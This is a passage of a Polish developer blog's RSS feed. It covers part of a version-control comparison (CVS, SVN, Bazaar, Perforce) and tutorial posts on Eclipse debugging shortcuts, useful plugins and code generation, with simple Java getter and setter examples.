<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><a rel="nofollow" href="http://www.codeplex.com/TFSAdmin">TFSAdmin</a></td>
</tr>
<tr>
<td class="confluenceTd">Powiadomienia e-mail</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://durak.org/cvswebsites/howto-cvs/node39.html">link</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://help.joyent.com/?pg=kb.page&amp;id=53">link</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.sourcevizor.com/">sourcevizor</a></td>
</tr>
</tbody>
</table>
<h2><a name="Systemykontroliwersji-porównanie(CVS,SVN)-Źródła"></a>Źródła</h2>
<p><a rel="nofollow" href="http://en.wikipedia.org/wiki/Comparison_of_revision_control_software#cite_note-22">http://en.wikipedia.org/wiki/Comparison_of_revision_control_software#cite_note-22</a><br />
<a rel="nofollow" href="http://versioncontrolblog.com/comparison/CVS/Subversion/index.html">CVS vs Subversion — Version control systems comparison</a><br />
<a rel="nofollow" href="http://www.polarion.org/projects/subversion/download/docs/Polarion-SubversionDataSheet.pdf">Polarion-SubversionDataSheet.pdf (Obiekt application/pdf)</a></p>
<h2><a name="Systemykontroliwersji-porównanie(CVS,SVN)-Innenarzędzia"></a>Inne narzędzia</h2>
<p><strong>Bazaar</strong> <strong>i Mercurial</strong> są nowszymi systemami, które reprezentują podejście do kontroli wersji w sposób  rozproszony.<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> Rozproszony SCM oferuje praktyczne korzyści w porównaniu z podejściem scentralizowanym.<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> Jest jednak wątpliwe, czy rozproszone narzędzia oferują bardziej zaawansowany zestaw operacji.<br />
<a rel="nofollow" href="http://ascarter.wordpress.com/2005/11/27/why-perforce-is-no-good/"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></a> Narzędzia rozproszone nie mają takiej bazy użytkowników, jak CVS i Subversion.</p>
<p><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> Bazaar i Mercurial to innowacyjne, elastyczne i przemyślane narzędzia. Z tej dwójki Bazaar jest prostszy w użyciu. Bazaar może być również używany w połączeniu z centralnym repozytorium, co pozwala na połączenie tych dwóch podejść.</p>
<p><strong>Perforce</strong> (p4) oferuje klienta graficznego, <a rel="nofollow" href="http://www.perforce.com/perforce/products/p4v.html">p4v</a>, który oferuje bardzo szerokie możliwości. Jest przejrzysty, dobrze zorganizowany i posiada takie funkcje, jak: diff, historia pliku i mere&#8217;owanie plików. p4 posiada także plugin do <a href="http://www.freescale.com/webapp/sps/site/homepage.jsp?nodeId=012726">CodeWarrior</a>. Dobrze współpracuje z plikami specyficznymi dla Maca. Praca z p4 składa się z 3 kroków: edycja, zmiana i commit. Znaczy to, że zanim będzie możliwa zmiana pliku, należy przeprowadzić operację &#8222;check out&#8221;. To jednak powoduje problemy przy pracy w trybie offline.<br />
<a rel="nofollow" href="http://ascarter.wordpress.com/2005/11/27/why-perforce-is-no-good/"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> Why Perforce Is No Good</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/cvs-vs-svn-vs-inne-narzedzia-vcs-2/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Eclipse w praktyce cz. 5 &#8211; debugowanie</title>
		<link>http://blog.atena.pl/eclipse-w-praktyce-cz-5-debugowanie</link>
		<comments>http://blog.atena.pl/eclipse-w-praktyce-cz-5-debugowanie#comments</comments>
		<pubDate>Tue, 05 May 2009 13:11:17 +0000</pubDate>
		<dc:creator>Dominik Kapusta</dc:creator>
				<category><![CDATA[Narzędzia]]></category>
		<category><![CDATA[Eclipse]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=401</guid>
		<description><![CDATA[Ostatni odcinek kursu, wprowadzającego w zaawansowane możliwości Eclipse, opisuje debugowanie oraz proponuje kilka przydatnych pluginów. Uwaga: niektóre przykłady skrótów klawiaturowych wymagają wprowadzenia zmian w konfiguracji Eclipse. 1. Debugging Ctrl F11 – run last launched application F11 – debug last launched application Proste skróty, dzięki którym nie musimy wybierać opcji z menu, tylko ponownie uruchamiamy to, [...]]]></description>
			<content:encoded><![CDATA[<p>Ostatni odcinek kursu, wprowadzającego w zaawansowane możliwości Eclipse, opisuje debugowanie oraz proponuje kilka przydatnych pluginów.</p>
<p><span id="more-401"></span></p>
<p style="margin-left: 18pt; text-indent: -18pt;"><strong><span style="color: #ff0000;">Uwaga</span></strong>: niektóre przykłady skrótów klawiaturowych wymagają wprowadzenia <a href="/eclipse-w-praktyce-cz-1-wyszukiwanie#_Toc190577927">zmian w konfiguracji Eclipse</a>.</p>
<h3 style="margin-left: 18pt; text-indent: -18pt;">1.<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span>Debugging</h3>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Ctrl F11 – run last launched application</p>
<p class="Shortcut">F11 – debug last launched application</p>
</div>
<p class="MsoNormal">Proste skróty, dzięki którym nie musimy wybierać opcji z menu, tylko ponownie uruchamiamy to, co ostatnio.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Ctrl Shift B – toggle <span class="RedShortZnak">B</span>reakpoint</p>
</div>
<p class="MsoNormal">Wstawia/usuwa breakpointa w danej linii.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Breakpoint properties</p>
</div>
<p class="MsoNormal">Hit Count – umożliwia zatrzymanie debuga po określonej liczbie „zaliczeń” breakpointa.</p>
<p class="MsoNormal">Enable Condition – zatrzymuje debug tylko, gdy podany warunek jest prawdą.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">F5 – Step into</p>
</div>
<p class="MsoNormal">Wchodzi do środka wywoływanej metody.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">F6 – Step over</p>
</div>
<p class="MsoNormal">Wykonuje metodę, ale nie debuguje jej zawartości.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">F7 – Step return</p>
</div>
<p class="MsoNormal">Wykonuje do końca kod metody, w której znajduje się debug i wychodzi do metody wywołującej.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">F8 – Resume</p>
</div>
<p class="MsoNormal">Opuszcza tryb debugowania krok-po-kroku.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Okno Variables</p>
</div>
<p class="MsoNormal">Zawiera listę dostępnych zmiennych wraz z ich wartościami.</p>
<p class="MsoNormal">Możliwa jest zmiana ich wartości bezpośrednio w tabeli (Enter zatwierdza) lub w oknie podglądu wartości pod tabelą (Ctrl S zatwierdza).</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Ctrl Shift D &#8211; <span class="RedShortZnak">D</span>isplay</p>
</div>
<p class="MsoNormal">Ten skrót odnosi się do okna Display (Window <strong><span style="font-weight: normal;">›</span></strong> Show view <strong><span style="font-weight: normal;">› </span></strong>Display).</p>
<p class="MsoNormal">Gdy debug zatrzyma się w jednym z breakpointów, można użyć okna Display do wykonywania wpisanego w tym oknie kodu.</p>
<p class="MsoNormal">Pisząc kod w oknie Display mamy możliwość korzystania z Content Assista.</p>
<p class="MsoNormal">W celu wykonania fragmentu wpisanego kodu należy go zaznaczyć i wcisnąć Ctrl Shift D.</p>
<p class="MsoNormal">Można również kliknąć na ikonę z lupą, aby przejrzeć strukturę wyniku.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Podmiana kodu, czyli nigdy nic nie wiadomo.</p>
</div>
<p class="MsoNormal">Gdy debug się zatrzyma w danej klasie, możemy zmienić nieco jej kod i zapisać zmiany. To spowoduje dynamiczną podmianę kodu klasy i ponowne wejście do metody, w której zatrzymał się debug. Ta funkcja działa również, gdy wykonywany kod znajduje się na serwerze. Niestety ciężko polegać na podmianie kodu, gdyż do końca nie wiadomo, czy Javie udało się ją wykonać. Prawdopodobnie, gdy nie zmieniamy sygnatur metod i pól klasy, podmiana powinna przejść pomyślnie.</p>
<div style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color windowtext; border-width: medium medium 1pt; padding: 0cm 0cm 1pt;">
<h3 style="margin-left: 18pt; text-indent: -18pt;"><a name="_Toc190577938"></a>2.<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span>JDK zamiast JRE</h3>
</div>
<p class="MsoNormal">Dzięki podpięciu pod Eclipsa JDK, mamy możliwość przeglądania kodu klas Javy, a nawet zakładania tam breakpointów.</p>
<p class="MsoNormal">W tym celu trzeba ustawić wartość zmiennej środowiskowej JRE_SRC na plik src.zip dostępny w instalacji JDK. Można zamiast tego w Window <strong><span style="font-weight: normal;">›</span></strong> Preference <strong><span style="font-weight: normal;">›</span></strong> Java <strong><span style="font-weight: normal;">›</span></strong> Installed JREs dodać JDK i ustawić jako domyślne.</p>
<div style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color windowtext; border-width: medium medium 1pt; padding: 0cm 0cm 1pt;">
<h3 style="margin-left: 18pt; text-indent: -18pt;"><a name="_Toc190577939"></a>3.<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span>Pluginy</h3>
</div>
<p class="MsoNormal"><a href="http://eclipse-cs.sourceforge.net/downloads.html"><strong><span style="font-size: 14pt;">Findbugs</span></strong></a> – <span style="font-size: 11pt;">wykrywacz potencjalnych błędów w kodzie. Przeprowadza inteligentną analizę kodu, wykorzystując tzw. Bug Patterns, dzięki czemu wyłapują bardzo wiele przypadkowych błędów programisty. Polecam zainteresowanym <a href="http://www.youtube.com/watch?v=GgK20Yv9QRk&amp;hl=pl">wykład na temat tego narzędzia w formie video</a>, wygłoszony przez jego twórcę.<br />
</span></p>
<p class="MsoNormal"><a href="http://eclipse-cs.sourceforge.net/downloads.html"><strong><span style="font-size: 14pt;">Checkstyle</span></strong></a> – <span style="font-size: 11pt;">plugin do sprawdzania jakości kodu.</span></p>
<p class="MsoNormal">Checkstyle jest narzędziem developerskim, które pomaga pisać kod Javy zgodny z pewnymi regułami. Automatyzuje procedurę sprawdzania kodu wyręczając ludzi w tym nudnym zajęciu. Checkstyle jest w pełni konfigurowalne i pozwala na dostosowanie do sprawdzania zgodności z niemal dowolnymi stylami kodowania.</p>
<p class="MsoNormal">Można go uruchamiać ręcznie lub automatycznie. Automatyczne uruchamianie włącza się przez Project <strong><span style="font-weight: normal;">›</span></strong> Properties <strong><span style="font-weight: normal;">› </span></strong>Checkstyle <strong><span style="font-weight: normal;">› </span></strong>Checkstyle active for this project.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Ctrl Alt F – automatyczna naprawa wszystkich błędów zgłaszanych przez Checkstyle</p>
</div>
<p class="MsoNormal"><a href="http://eclipse-jutils.sourceforge.net/"><strong><span style="font-size: 14pt;">JUtils</span></strong></a><span style="font-size: 11pt;"> – generator toString() oraz konstruktora kopiującego.</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 14pt;"><a href="http://pmd.sourceforge.net/integrations.html#eclipse">PMD</a> </span></strong><span style="font-size: 11pt;">– </span>scans Java source code and looks for potential problems like:</p>
<ul>
<li class="MsoNormal">Possible bugs &#8211; empty try/catch/finally/switch statements</li>
<li class="MsoNormal">Dead code &#8211; unused local variables, parameters and private methods</li>
<li class="MsoNormal">Suboptimal code &#8211; wasteful String/StringBuffer usage</li>
<li class="MsoNormal">Overcomplicated expressions &#8211; unnecessary if statements, for loops that could be while loops</li>
<li class="MsoNormal">Duplicate code &#8211; copied/pasted code means copied/pasted bugs</li>
</ul>
<div style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color windowtext; border-width: medium medium 1pt; padding: 0cm 0cm 1pt;margin-bottom: 7pt;">
<h3 style="margin-left: 18pt; text-indent: -18pt;"><a name="_Toc190577940"></a>4.<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span>Na zakończenie…</h3>
</div>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Ctrl Shift W – close all editor <span class="RedShortZnak">W</span>indows</p>
</div>
<div style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color windowtext; border-width: medium medium 1pt; padding: 0cm 0cm 1pt;">
<h3 style="margin-left: 18pt; text-indent: -18pt;"><a name="_Toc190577941"></a>5.<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span>Bibliografia</h3>
</div>
<p class="MsoNormal">Help <strong><span style="font-weight: normal;">›</span></strong> Tips and tricks&#8230; <strong><span style="font-weight: normal;">› Eclipse Java Development Tools</span></strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><a href="http://rayfd.wordpress.com/2007/05/20/10-eclipse-navigation-shortcuts-every-java-programmer-should-know/">http://rayfd.wordpress.com/2007/05/20/10-eclipse-navigation-shortcuts-every-java-programmer-should-know/</a></p>
<p class="MsoNormal">
<p class="MsoNormal"><a href="http://www.linuxdevices.com/articles/AT6046208714.html">http://www.linuxdevices.com/articles/AT6046208714.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/eclipse-w-praktyce-cz-5-debugowanie/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eclipse w praktyce cz. 4 &#8211; generowanie kodu</title>
		<link>http://blog.atena.pl/eclipse-w-praktyce-cz-4-generowanie-kodu</link>
		<comments>http://blog.atena.pl/eclipse-w-praktyce-cz-4-generowanie-kodu#comments</comments>
		<pubDate>Thu, 30 Apr 2009 13:10:10 +0000</pubDate>
		<dc:creator>Dominik Kapusta</dc:creator>
				<category><![CDATA[Narzędzia]]></category>
		<category><![CDATA[Eclipse]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=396</guid>
		<description><![CDATA[Czwarta część kursu &#8222;Eclipse w praktyce&#8221; traktuje o automatycznej generacji kodu wewnątrz edytora. Na początek dowiemy się, jak wykorzystywać wbudowane mechanizmy tworzenia kodu, a potem poznamy, jak definiować własne szablony. Uwaga: niektóre przykłady skrótów klawiaturowych wymagają wprowadzenia zmian w konfiguracji Eclipse. 1. Generacja kodu public class GettersSetters { private String name; } Alt S – [...]]]></description>
			<content:encoded><![CDATA[<p>Czwarta część kursu &#8222;Eclipse w praktyce&#8221; traktuje o automatycznej generacji kodu wewnątrz edytora. Na początek dowiemy się, jak wykorzystywać wbudowane mechanizmy tworzenia kodu, a potem poznamy, jak definiować własne szablony.</p>
<p><span id="more-396"></span></p>
<p style="margin-left: 18pt; text-indent: -18pt;"><strong><span style="color: #ff0000;">Uwaga</span></strong>: niektóre przykłady skrótów klawiaturowych wymagają wprowadzenia <a href="/eclipse-w-praktyce-cz-1-wyszukiwanie#_Toc190577927">zmian w konfiguracji Eclipse</a>.</p>
<h3 style="margin-left: 18pt; text-indent: -18pt;">1.<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span>Generacja kodu</h3>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> GettersSetters {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> private</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Alt S – generowanie Getterów i <span class="RedShortZnak">S</span>etterów <span style="font-size: 8pt;">(zob. Proponowane zmiany w skrótach klawiaturowych)</span></p>
</div>
<p class="MsoNormal">Dla danego kodu wywołujemy Alt S.</p>
<p class="MsoNormal">Wybieramy pola, do których chcemy utworzyć gettery i settery, w tym przypadku <span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span>.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> GettersSetters {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> private</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String getName() {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">void</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> setName(String name) {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> this</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> = name;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Shift Alt S <strong><span style="font-weight: normal;">›</span></strong> Generate Constructor using Fields</p>
</div>
<p class="MsoNormal">Tworzy konstruktor przypisujący wartości swoich parametrów odpowiednim polom klasy.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> GettersSetters {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> private</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> GettersSetters(String name) {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> super</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">();</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> this</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> = name;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String getName() {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">void</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> setName(String name) {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> this</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> = name;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Shift Alt J <strong><span style="font-weight: normal;">›</span></strong> generate <span class="RedShortZnak">J</span>avaDoc</p>
</div>
<p class="MsoNormal">Wstawia porządnego JavaDoca. Np. dla danej metody (kursor na nazwie metody):</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> <span style="background: silver none repeat scroll 0% 50%;">max</span>(</span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> a, </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> b) {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> a &gt; b ? a : b;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">
<p class="MsoNormal">Wygeneruje coś takiego:</p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f5fbf;">/**</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f5fbf;">*</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f9fbf;">@param</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f5fbf;">a</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f5fbf;">*</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f9fbf;">@param</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f5fbf;">b</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f5fbf;">*</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f9fbf;">@return</span></strong></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f5fbf;">*/</span></p>
<p class="MsoNormal">
<p class="MsoNormal">Bardzo przydaje się podczas dziedziczenia lub implementacji interfejsu. Nie musimy wtedy kopiować komentarzy z interfejsu, gdyż Shift Alt J wstawia taki komentarz:</p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f7f5f;">/* (non-Javadoc)</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f7f5f;">* @see cl.use.of.eclipse.CodeAssist#max(int, int)</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f7f5f;">*/</span></p>
<p class="MsoNormal">
<p class="MsoNormal">Osobiście wolę inną templatkę, wstawiającą prawdziwy JavaDoc. Aby ją zmienić:</p>
<p class="MsoNormal">Window <strong><span style="font-weight: normal;">›</span></strong> Preferences <strong><span style="font-weight: normal;">› Java › Code Style › Code Templates › Comments › Overriding methods</span></strong></p>
<p class="MsoNormal"><strong><span style="font-weight: normal;">Wstawiamy tam:</span></strong></p>
<p class="MsoNormal" style="text-indent: 35.4pt;"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #8c9fd9;">/**</span></strong></p>
<p class="MsoNormal" style="text-indent: 35.4pt;"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #8c9fd9;">*</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: silver;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #8c9fd9;">${see_to_overridden}</span></strong></p>
<p class="MsoNormal" style="text-indent: 35.4pt;"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #8c9fd9;">*/</span></strong></p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Shift Alt S <strong><span style="font-weight: normal;">›</span></strong> Generate Delegate Methods</p>
</div>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> DelegateTest {</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">sb</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
